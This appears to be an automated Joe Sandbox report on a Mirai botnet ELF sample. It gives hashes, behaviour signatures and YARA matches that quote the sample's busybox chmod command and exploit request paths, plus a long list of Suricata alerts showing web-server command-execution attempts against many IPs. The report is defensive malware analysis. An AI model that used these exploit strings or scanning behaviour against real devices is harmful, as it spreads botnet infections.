Edit tour

Linux Analysis Report
z0r0.spc.elf

Overview

General Information

Sample name:	z0r0.spc.elf
Analysis ID:	1606670
MD5:	c5ee1e4b1e2c0eeeee0a613084079ee3
SHA1:	a5d90827592166a27f52d632308a8df86468e36a
SHA256:	9c6773a6fcb0568b462363c5c3ac043554b9e3e7439ad771954fc4c3be263650
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1606670
Start date and time:	2025-02-04 18:10:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	z0r0.spc.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@5/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: raw.igxhost.ru

Runtime Messages

Command:	/tmp/z0r0.spc.elf
PID:	5821
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

z0r0.spc.elf (PID: 5821, Parent: 5747, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/z0r0.spc.elf

z0r0.spc.elf New Fork (PID: 5823, Parent: 5821)

z0r0.spc.elf New Fork (PID: 5825, Parent: 5823)

z0r0.spc.elf New Fork (PID: 5826, Parent: 5823)

z0r0.spc.elf New Fork (PID: 5828, Parent: 5823)

z0r0.spc.elf New Fork (PID: 5831, Parent: 5823)

z0r0.spc.elf New Fork (PID: 5833, Parent: 5823)

xfce4-panel New Fork (PID: 5836, Parent: 3235)

wrapper-2.0 (PID: 5836, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 5837, Parent: 3235)

wrapper-2.0 (PID: 5837, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 5838, Parent: 3235)

wrapper-2.0 (PID: 5838, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 5839, Parent: 3235)

wrapper-2.0 (PID: 5839, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

xfce4-panel New Fork (PID: 5840, Parent: 3235)

wrapper-2.0 (PID: 5840, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 5841, Parent: 3235)

wrapper-2.0 (PID: 5841, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
z0r0.spc.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
z0r0.spc.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
z0r0.spc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
z0r0.spc.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10c3a:$x2: /bin/busybox chmod 777 * /tmp/ 0x10990:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x108d8:$s3: POST /cdn-cgi/
z0r0.spc.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x108d8:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A

Memory Dumps

Source	Rule	Description	Author	Strings
5825.1.00007fad3c011000.00007fad3c023000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5825.1.00007fad3c011000.00007fad3c023000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5825.1.00007fad3c011000.00007fad3c023000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5825.1.00007fad3c011000.00007fad3c023000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10c3a:$x2: /bin/busybox chmod 777 * /tmp/ 0x10990:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x108d8:$s3: POST /cdn-cgi/
5825.1.00007fad3c011000.00007fad3c023000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x108d8:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
5821.1.00007fad3c011000.00007fad3c023000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5821.1.00007fad3c011000.00007fad3c023000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5821.1.00007fad3c011000.00007fad3c023000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5821.1.00007fad3c011000.00007fad3c023000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10c3a:$x2: /bin/busybox chmod 777 * /tmp/ 0x10990:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x108d8:$s3: POST /cdn-cgi/
5821.1.00007fad3c011000.00007fad3c023000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x108d8:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Click to see the 5 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-04T18:11:17.904083+0100	2030092	1	Web Application Attack	192.168.2.15	56376	66.135.17.87	80	TCP
2025-02-04T18:11:18.206262+0100	2030092	1	Web Application Attack	192.168.2.15	56618	163.191.21.183	80	TCP
2025-02-04T18:11:19.378631+0100	2030092	1	Web Application Attack	192.168.2.15	52314	150.158.10.51	80	TCP
2025-02-04T18:11:20.211398+0100	2030092	1	Web Application Attack	192.168.2.15	36874	152.23.93.45	80	TCP
2025-02-04T18:11:24.472665+0100	2030092	1	Web Application Attack	192.168.2.15	60888	195.210.137.30	80	TCP
2025-02-04T18:11:25.286765+0100	2030092	1	Web Application Attack	192.168.2.15	34476	177.53.138.249	80	TCP
2025-02-04T18:11:36.391381+0100	2030092	1	Web Application Attack	192.168.2.15	41246	52.185.24.228	80	TCP
2025-02-04T18:11:37.674865+0100	2030092	1	Web Application Attack	192.168.2.15	55456	177.82.8.49	80	TCP
2025-02-04T18:11:37.739789+0100	2030092	1	Web Application Attack	192.168.2.15	40594	80.99.95.150	80	TCP
2025-02-04T18:11:37.751324+0100	2030092	1	Web Application Attack	192.168.2.15	48226	95.13.149.114	80	TCP
2025-02-04T18:11:37.784370+0100	2030092	1	Web Application Attack	192.168.2.15	36720	181.156.61.20	80	TCP
2025-02-04T18:11:37.814924+0100	2030092	1	Web Application Attack	192.168.2.15	55492	12.97.179.162	80	TCP
2025-02-04T18:11:37.822196+0100	2030092	1	Web Application Attack	192.168.2.15	47426	173.206.97.190	80	TCP
2025-02-04T18:11:37.870762+0100	2030092	1	Web Application Attack	192.168.2.15	45246	181.72.225.6	80	TCP
2025-02-04T18:11:38.006721+0100	2030092	1	Web Application Attack	192.168.2.15	52328	84.59.111.135	80	TCP
2025-02-04T18:11:38.054265+0100	2030092	1	Web Application Attack	192.168.2.15	33892	75.202.255.136	80	TCP
2025-02-04T18:11:38.065878+0100	2030092	1	Web Application Attack	192.168.2.15	34258	139.62.254.107	80	TCP
2025-02-04T18:11:38.095110+0100	2030092	1	Web Application Attack	192.168.2.15	49594	115.185.195.251	80	TCP
2025-02-04T18:11:38.143975+0100	2030092	1	Web Application Attack	192.168.2.15	46086	104.108.17.71	80	TCP
2025-02-04T18:11:38.173206+0100	2030092	1	Web Application Attack	192.168.2.15	48452	59.197.123.191	80	TCP
2025-02-04T18:11:38.222179+0100	2030092	1	Web Application Attack	192.168.2.15	56634	148.124.95.174	80	TCP
2025-02-04T18:11:38.241306+0100	2030092	1	Web Application Attack	192.168.2.15	41596	204.180.52.55	80	TCP
2025-02-04T18:11:38.251144+0100	2030092	1	Web Application Attack	192.168.2.15	53656	116.7.76.23	80	TCP
2025-02-04T18:11:38.258956+0100	2030092	1	Web Application Attack	192.168.2.15	40282	122.230.149.114	80	TCP
2025-02-04T18:11:38.284637+0100	2030092	1	Web Application Attack	192.168.2.15	38276	19.122.225.91	80	TCP
2025-02-04T18:11:38.286219+0100	2030092	1	Web Application Attack	192.168.2.15	58820	19.144.149.113	80	TCP
2025-02-04T18:11:38.286621+0100	2030092	1	Web Application Attack	192.168.2.15	37250	171.125.195.174	80	TCP
2025-02-04T18:11:38.690813+0100	2030092	1	Web Application Attack	192.168.2.15	32782	200.162.125.49	80	TCP
2025-02-04T18:11:38.782754+0100	2030092	1	Web Application Attack	192.168.2.15	58508	106.129.170.230	80	TCP
2025-02-04T18:11:38.878445+0100	2030092	1	Web Application Attack	192.168.2.15	44592	178.15.78.97	80	TCP
2025-02-04T18:11:38.895338+0100	2030092	1	Web Application Attack	192.168.2.15	33174	148.218.47.162	80	TCP
2025-02-04T18:11:38.913143+0100	2030092	1	Web Application Attack	192.168.2.15	53500	126.88.175.215	80	TCP
2025-02-04T18:11:38.925400+0100	2030092	1	Web Application Attack	192.168.2.15	38698	206.18.177.12	80	TCP
2025-02-04T18:11:38.985638+0100	2030092	1	Web Application Attack	192.168.2.15	53966	82.32.93.110	80	TCP
2025-02-04T18:11:38.991513+0100	2030092	1	Web Application Attack	192.168.2.15	47786	41.137.229.247	80	TCP
2025-02-04T18:11:39.069370+0100	2030092	1	Web Application Attack	192.168.2.15	33948	13.108.32.211	80	TCP
2025-02-04T18:11:39.081088+0100	2030092	1	Web Application Attack	192.168.2.15	37834	35.149.142.163	80	TCP
2025-02-04T18:11:39.126248+0100	2030092	1	Web Application Attack	192.168.2.15	43492	203.195.122.98	80	TCP
2025-02-04T18:11:39.220090+0100	2030092	1	Web Application Attack	192.168.2.15	37202	67.218.78.191	80	TCP
2025-02-04T18:11:39.220126+0100	2030092	1	Web Application Attack	192.168.2.15	56388	166.138.238.35	80	TCP
2025-02-04T18:11:39.235690+0100	2030092	1	Web Application Attack	192.168.2.15	43514	107.223.216.240	80	TCP
2025-02-04T18:11:39.241495+0100	2030092	1	Web Application Attack	192.168.2.15	49602	216.213.46.231	80	TCP
2025-02-04T18:11:39.287567+0100	2030092	1	Web Application Attack	192.168.2.15	40134	150.170.24.90	80	TCP
2025-02-04T18:11:39.288898+0100	2030092	1	Web Application Attack	192.168.2.15	41766	124.184.212.227	80	TCP
2025-02-04T18:11:39.798420+0100	2030092	1	Web Application Attack	192.168.2.15	57966	51.139.218.36	80	TCP
2025-02-04T18:11:39.800330+0100	2030092	1	Web Application Attack	192.168.2.15	41992	25.233.224.38	80	TCP
2025-02-04T18:11:39.822459+0100	2030092	1	Web Application Attack	192.168.2.15	46296	139.225.240.172	80	TCP
2025-02-04T18:11:39.823341+0100	2030092	1	Web Application Attack	192.168.2.15	42392	98.228.221.176	80	TCP
2025-02-04T18:11:39.869788+0100	2030092	1	Web Application Attack	192.168.2.15	49998	62.3.220.66	80	TCP
2025-02-04T18:11:39.870198+0100	2030092	1	Web Application Attack	192.168.2.15	45680	176.100.12.176	80	TCP
2025-02-04T18:11:39.871007+0100	2030092	1	Web Application Attack	192.168.2.15	58308	95.141.34.86	80	TCP
2025-02-04T18:11:40.535891+0100	2030092	1	Web Application Attack	192.168.2.15	52372	186.209.63.200	80	TCP
2025-02-04T18:11:40.737541+0100	2030092	1	Web Application Attack	192.168.2.15	48546	19.119.179.107	80	TCP
2025-02-04T18:11:40.741244+0100	2030092	1	Web Application Attack	192.168.2.15	49556	32.109.104.6	80	TCP
2025-02-04T18:11:40.782556+0100	2030092	1	Web Application Attack	192.168.2.15	33764	9.119.226.185	80	TCP
2025-02-04T18:11:40.813951+0100	2030092	1	Web Application Attack	192.168.2.15	47682	222.146.115.153	80	TCP
2025-02-04T18:11:40.813985+0100	2030092	1	Web Application Attack	192.168.2.15	43710	155.48.55.41	80	TCP
2025-02-04T18:11:40.815963+0100	2030092	1	Web Application Attack	192.168.2.15	58146	161.215.111.37	80	TCP
2025-02-04T18:11:40.819661+0100	2030092	1	Web Application Attack	192.168.2.15	43058	125.144.55.236	80	TCP
2025-02-04T18:11:40.869899+0100	2030092	1	Web Application Attack	192.168.2.15	59318	162.28.10.148	80	TCP
2025-02-04T18:11:40.870111+0100	2030092	1	Web Application Attack	192.168.2.15	49792	74.137.199.231	80	TCP
2025-02-04T18:11:40.909562+0100	2030092	1	Web Application Attack	192.168.2.15	47526	204.176.132.110	80	TCP
2025-02-04T18:11:40.956193+0100	2030092	1	Web Application Attack	192.168.2.15	37248	84.0.101.244	80	TCP
2025-02-04T18:11:41.038420+0100	2030092	1	Web Application Attack	192.168.2.15	33010	207.26.197.36	80	TCP
2025-02-04T18:11:41.054205+0100	2030092	1	Web Application Attack	192.168.2.15	36766	143.23.249.38	80	TCP
2025-02-04T18:11:41.096874+0100	2030092	1	Web Application Attack	192.168.2.15	45022	32.71.11.101	80	TCP
2025-02-04T18:11:41.128485+0100	2030092	1	Web Application Attack	192.168.2.15	50898	42.77.12.95	80	TCP
2025-02-04T18:11:41.161397+0100	2030092	1	Web Application Attack	192.168.2.15	53626	17.53.64.207	80	TCP
2025-02-04T18:11:41.241387+0100	2030092	1	Web Application Attack	192.168.2.15	53464	35.94.114.161	80	TCP
2025-02-04T18:11:41.241658+0100	2030092	1	Web Application Attack	192.168.2.15	42064	79.68.93.23	80	TCP
2025-02-04T18:11:41.266869+0100	2030092	1	Web Application Attack	192.168.2.15	41752	180.247.222.119	80	TCP
2025-02-04T18:11:41.272562+0100	2030092	1	Web Application Attack	192.168.2.15	56602	126.182.35.205	80	TCP
2025-02-04T18:11:41.298784+0100	2030092	1	Web Application Attack	192.168.2.15	60086	40.54.178.141	80	TCP
2025-02-04T18:11:41.304523+0100	2030092	1	Web Application Attack	192.168.2.15	46724	206.199.245.36	80	TCP
2025-02-04T18:11:41.331767+0100	2030092	1	Web Application Attack	192.168.2.15	36514	93.55.208.184	80	TCP
2025-02-04T18:11:41.814107+0100	2030092	1	Web Application Attack	192.168.2.15	39428	183.119.84.214	80	TCP
2025-02-04T18:11:41.814109+0100	2030092	1	Web Application Attack	192.168.2.15	40192	25.68.126.50	80	TCP
2025-02-04T18:11:41.831245+0100	2030092	1	Web Application Attack	192.168.2.15	59440	54.197.207.13	80	TCP
2025-02-04T18:11:41.831388+0100	2030092	1	Web Application Attack	192.168.2.15	40176	144.229.87.242	80	TCP
2025-02-04T18:11:41.869999+0100	2030092	1	Web Application Attack	192.168.2.15	34012	40.144.172.4	80	TCP
2025-02-04T18:11:41.870000+0100	2030092	1	Web Application Attack	192.168.2.15	45620	42.210.68.207	80	TCP
2025-02-04T18:11:41.870769+0100	2030092	1	Web Application Attack	192.168.2.15	58574	204.137.209.75	80	TCP
2025-02-04T18:11:42.807366+0100	2030092	1	Web Application Attack	192.168.2.15	55376	151.3.92.187	80	TCP
2025-02-04T18:11:42.816530+0100	2030092	1	Web Application Attack	192.168.2.15	33914	130.194.192.131	80	TCP
2025-02-04T18:11:42.831571+0100	2030092	1	Web Application Attack	192.168.2.15	38374	166.170.65.204	80	TCP
2025-02-04T18:11:42.871695+0100	2030092	1	Web Application Attack	192.168.2.15	50488	200.200.243.56	80	TCP
2025-02-04T18:11:42.871750+0100	2030092	1	Web Application Attack	192.168.2.15	33266	191.252.64.221	80	TCP
2025-02-04T18:11:42.871925+0100	2030092	1	Web Application Attack	192.168.2.15	56554	145.56.156.195	80	TCP
2025-02-04T18:11:42.872282+0100	2030092	1	Web Application Attack	192.168.2.15	46742	187.194.10.196	80	TCP
2025-02-04T18:11:42.872397+0100	2030092	1	Web Application Attack	192.168.2.15	33218	27.157.203.196	80	TCP
2025-02-04T18:11:42.872723+0100	2030092	1	Web Application Attack	192.168.2.15	43992	23.137.87.167	80	TCP
2025-02-04T18:11:42.873953+0100	2030092	1	Web Application Attack	192.168.2.15	50216	180.142.123.27	80	TCP
2025-02-04T18:11:42.892068+0100	2030092	1	Web Application Attack	192.168.2.15	47328	117.127.29.44	80	TCP
2025-02-04T18:11:42.894055+0100	2030092	1	Web Application Attack	192.168.2.15	54372	58.27.47.222	80	TCP
2025-02-04T18:11:42.898202+0100	2030092	1	Web Application Attack	192.168.2.15	50898	13.138.57.214	80	TCP
2025-02-04T18:11:42.914695+0100	2030092	1	Web Application Attack	192.168.2.15	42240	90.177.70.10	80	TCP
2025-02-04T18:11:43.053941+0100	2030092	1	Web Application Attack	192.168.2.15	51524	186.177.39.200	80	TCP
2025-02-04T18:11:43.143875+0100	2030092	1	Web Application Attack	192.168.2.15	44120	179.210.59.211	80	TCP
2025-02-04T18:11:43.195580+0100	2030092	1	Web Application Attack	192.168.2.15	47236	194.139.104.203	80	TCP
2025-02-04T18:11:43.301991+0100	2030092	1	Web Application Attack	192.168.2.15	58230	219.172.14.29	80	TCP
2025-02-04T18:11:43.313904+0100	2030092	1	Web Application Attack	192.168.2.15	49030	166.123.231.179	80	TCP
2025-02-04T18:11:43.415622+0100	2030092	1	Web Application Attack	192.168.2.15	48066	17.196.195.95	80	TCP
2025-02-04T18:11:43.442774+0100	2030092	1	Web Application Attack	192.168.2.15	47862	126.24.223.98	80	TCP
2025-02-04T18:11:43.458803+0100	2030092	1	Web Application Attack	192.168.2.15	43838	220.194.72.146	80	TCP
2025-02-04T18:11:43.538505+0100	2030092	1	Web Application Attack	192.168.2.15	56918	199.63.47.209	80	TCP
2025-02-04T18:11:43.552474+0100	2030092	1	Web Application Attack	192.168.2.15	38348	2.113.145.26	80	TCP
2025-02-04T18:11:43.565862+0100	2030092	1	Web Application Attack	192.168.2.15	46168	66.85.21.139	80	TCP
2025-02-04T18:11:43.646587+0100	2030092	1	Web Application Attack	192.168.2.15	38874	193.2.130.245	80	TCP
2025-02-04T18:11:43.689135+0100	2030092	1	Web Application Attack	192.168.2.15	49432	70.252.93.59	80	TCP
2025-02-04T18:11:43.720254+0100	2030092	1	Web Application Attack	192.168.2.15	43196	74.202.42.9	80	TCP
2025-02-04T18:11:43.806078+0100	2030092	1	Web Application Attack	192.168.2.15	48854	76.137.1.180	80	TCP
2025-02-04T18:11:43.829513+0100	2030092	1	Web Application Attack	192.168.2.15	36596	83.133.89.182	80	TCP
2025-02-04T18:11:43.867323+0100	2030092	1	Web Application Attack	192.168.2.15	54386	8.144.12.88	80	TCP
2025-02-04T18:11:43.867370+0100	2030092	1	Web Application Attack	192.168.2.15	44422	9.135.213.16	80	TCP
2025-02-04T18:11:43.867556+0100	2030092	1	Web Application Attack	192.168.2.15	56248	220.183.243.172	80	TCP
2025-02-04T18:11:43.868604+0100	2030092	1	Web Application Attack	192.168.2.15	49544	39.92.130.206	80	TCP
2025-02-04T18:11:43.868635+0100	2030092	1	Web Application Attack	192.168.2.15	37124	31.174.97.135	80	TCP
2025-02-04T18:11:43.868693+0100	2030092	1	Web Application Attack	192.168.2.15	58222	60.220.250.249	80	TCP
2025-02-04T18:11:43.868926+0100	2030092	1	Web Application Attack	192.168.2.15	39280	84.153.123.235	80	TCP
2025-02-04T18:11:43.869677+0100	2030092	1	Web Application Attack	192.168.2.15	49952	160.19.223.25	80	TCP
2025-02-04T18:11:43.869785+0100	2030092	1	Web Application Attack	192.168.2.15	38648	137.251.33.154	80	TCP
2025-02-04T18:11:43.869864+0100	2030092	1	Web Application Attack	192.168.2.15	54582	211.243.248.192	80	TCP
2025-02-04T18:11:43.869866+0100	2030092	1	Web Application Attack	192.168.2.15	45518	139.241.185.96	80	TCP
2025-02-04T18:11:43.869894+0100	2030092	1	Web Application Attack	192.168.2.15	52556	174.26.69.187	80	TCP
2025-02-04T18:11:43.869951+0100	2030092	1	Web Application Attack	192.168.2.15	35476	171.186.242.22	80	TCP
2025-02-04T18:11:43.869968+0100	2030092	1	Web Application Attack	192.168.2.15	35974	128.120.255.4	80	TCP
2025-02-04T18:11:43.870098+0100	2030092	1	Web Application Attack	192.168.2.15	41162	54.251.33.18	80	TCP
2025-02-04T18:11:43.870103+0100	2030092	1	Web Application Attack	192.168.2.15	49432	141.20.42.238	80	TCP
2025-02-04T18:11:43.870148+0100	2030092	1	Web Application Attack	192.168.2.15	35610	97.197.78.241	80	TCP
2025-02-04T18:11:43.870212+0100	2030092	1	Web Application Attack	192.168.2.15	45780	126.176.228.197	80	TCP
2025-02-04T18:11:43.876728+0100	2030092	1	Web Application Attack	192.168.2.15	36422	50.52.226.195	80	TCP
2025-02-04T18:11:43.877396+0100	2030092	1	Web Application Attack	192.168.2.15	43794	23.15.127.183	80	TCP
2025-02-04T18:11:43.878866+0100	2030092	1	Web Application Attack	192.168.2.15	53316	187.217.155.175	80	TCP
2025-02-04T18:11:43.884516+0100	2030092	1	Web Application Attack	192.168.2.15	42838	161.104.195.78	80	TCP
2025-02-04T18:11:43.894216+0100	2030092	1	Web Application Attack	192.168.2.15	56418	90.198.87.168	80	TCP
2025-02-04T18:11:43.895815+0100	2030092	1	Web Application Attack	192.168.2.15	41704	83.238.144.61	80	TCP
2025-02-04T18:11:43.907637+0100	2030092	1	Web Application Attack	192.168.2.15	48318	86.35.202.69	80	TCP
2025-02-04T18:11:43.913606+0100	2030092	1	Web Application Attack	192.168.2.15	37846	63.54.131.20	80	TCP
2025-02-04T18:11:43.913830+0100	2030092	1	Web Application Attack	192.168.2.15	38382	57.0.217.84	80	TCP
2025-02-04T18:11:43.913899+0100	2030092	1	Web Application Attack	192.168.2.15	50544	113.9.76.55	80	TCP
2025-02-04T18:11:43.914016+0100	2030092	1	Web Application Attack	192.168.2.15	33386	9.120.59.100	80	TCP
2025-02-04T18:11:43.915770+0100	2030092	1	Web Application Attack	192.168.2.15	60696	25.119.53.5	80	TCP
2025-02-04T18:11:43.942810+0100	2030092	1	Web Application Attack	192.168.2.15	47718	41.39.69.139	80	TCP
2025-02-04T18:11:43.974132+0100	2030092	1	Web Application Attack	192.168.2.15	35178	179.192.200.231	80	TCP
2025-02-04T18:11:44.007263+0100	2030092	1	Web Application Attack	192.168.2.15	37570	158.116.133.144	80	TCP
2025-02-04T18:11:44.065988+0100	2030092	1	Web Application Attack	192.168.2.15	38216	74.93.106.203	80	TCP
2025-02-04T18:11:44.085603+0100	2030092	1	Web Application Attack	192.168.2.15	57624	190.1.187.23	80	TCP
2025-02-04T18:11:44.085931+0100	2030092	1	Web Application Attack	192.168.2.15	58746	70.27.202.249	80	TCP
2025-02-04T18:11:44.099347+0100	2030092	1	Web Application Attack	192.168.2.15	52356	113.60.71.8	80	TCP
2025-02-04T18:11:45.145876+0100	2030092	1	Web Application Attack	192.168.2.15	59390	37.111.84.54	80	TCP
2025-02-04T18:11:45.148672+0100	2030092	1	Web Application Attack	192.168.2.15	51986	54.130.141.170	80	TCP
2025-02-04T18:11:46.142273+0100	2030092	1	Web Application Attack	192.168.2.15	55838	202.190.152.115	80	TCP
2025-02-04T18:11:46.159988+0100	2030092	1	Web Application Attack	192.168.2.15	37292	194.10.184.124	80	TCP
2025-02-04T18:11:46.592325+0100	2030092	1	Web Application Attack	192.168.2.15	33964	18.238.109.205	80	TCP
2025-02-04T18:11:47.017846+0100	2030092	1	Web Application Attack	192.168.2.15	47016	161.225.186.189	80	TCP
2025-02-04T18:11:47.142085+0100	2030092	1	Web Application Attack	192.168.2.15	46452	24.76.98.2	80	TCP
2025-02-04T18:11:47.143736+0100	2030092	1	Web Application Attack	192.168.2.15	56378	193.158.34.34	80	TCP
2025-02-04T18:11:47.147602+0100	2030092	1	Web Application Attack	192.168.2.15	42332	197.171.131.230	80	TCP
2025-02-04T18:11:47.148189+0100	2030092	1	Web Application Attack	192.168.2.15	60698	1.19.246.235	80	TCP
2025-02-04T18:11:47.173412+0100	2030092	1	Web Application Attack	192.168.2.15	56938	83.248.130.23	80	TCP
2025-02-04T18:11:49.237715+0100	2030092	1	Web Application Attack	192.168.2.15	36338	121.240.223.253	80	TCP
2025-02-04T18:11:49.239566+0100	2030092	1	Web Application Attack	192.168.2.15	50962	1.198.0.183	80	TCP
2025-02-04T18:11:49.257908+0100	2030092	1	Web Application Attack	192.168.2.15	54824	149.23.206.244	80	TCP
2025-02-04T18:11:49.259114+0100	2030092	1	Web Application Attack	192.168.2.15	38338	5.194.208.133	80	TCP
2025-02-04T18:11:49.290571+0100	2030092	1	Web Application Attack	192.168.2.15	35806	44.91.54.13	80	TCP
2025-02-04T18:11:50.239651+0100	2030092	1	Web Application Attack	192.168.2.15	35036	32.158.13.252	80	TCP
2025-02-04T18:11:51.290778+0100	2030092	1	Web Application Attack	192.168.2.15	47772	76.93.228.103	80	TCP
2025-02-04T18:11:52.236751+0100	2030092	1	Web Application Attack	192.168.2.15	37698	143.146.138.168	80	TCP
2025-02-04T18:11:52.236752+0100	2030092	1	Web Application Attack	192.168.2.15	46400	187.17.238.100	80	TCP
2025-02-04T18:11:52.238257+0100	2030092	1	Web Application Attack	192.168.2.15	60370	42.15.218.97	80	TCP
2025-02-04T18:11:52.240099+0100	2030092	1	Web Application Attack	192.168.2.15	37954	152.212.91.59	80	TCP
2025-02-04T18:11:52.274944+0100	2030092	1	Web Application Attack	192.168.2.15	60098	116.188.200.173	80	TCP
2025-02-04T18:11:52.288547+0100	2030092	1	Web Application Attack	192.168.2.15	38034	20.106.247.173	80	TCP
2025-02-04T18:11:53.251913+0100	2030092	1	Web Application Attack	192.168.2.15	56608	40.206.98.120	80	TCP
2025-02-04T18:11:53.269463+0100	2030092	1	Web Application Attack	192.168.2.15	48844	163.146.97.221	80	TCP
2025-02-04T18:11:53.269492+0100	2030092	1	Web Application Attack	192.168.2.15	45230	105.218.189.222	80	TCP
2025-02-04T18:11:53.273571+0100	2030092	1	Web Application Attack	192.168.2.15	49326	72.125.5.124	80	TCP
2025-02-04T18:11:53.276671+0100	2030092	1	Web Application Attack	192.168.2.15	56104	51.155.163.21	80	TCP
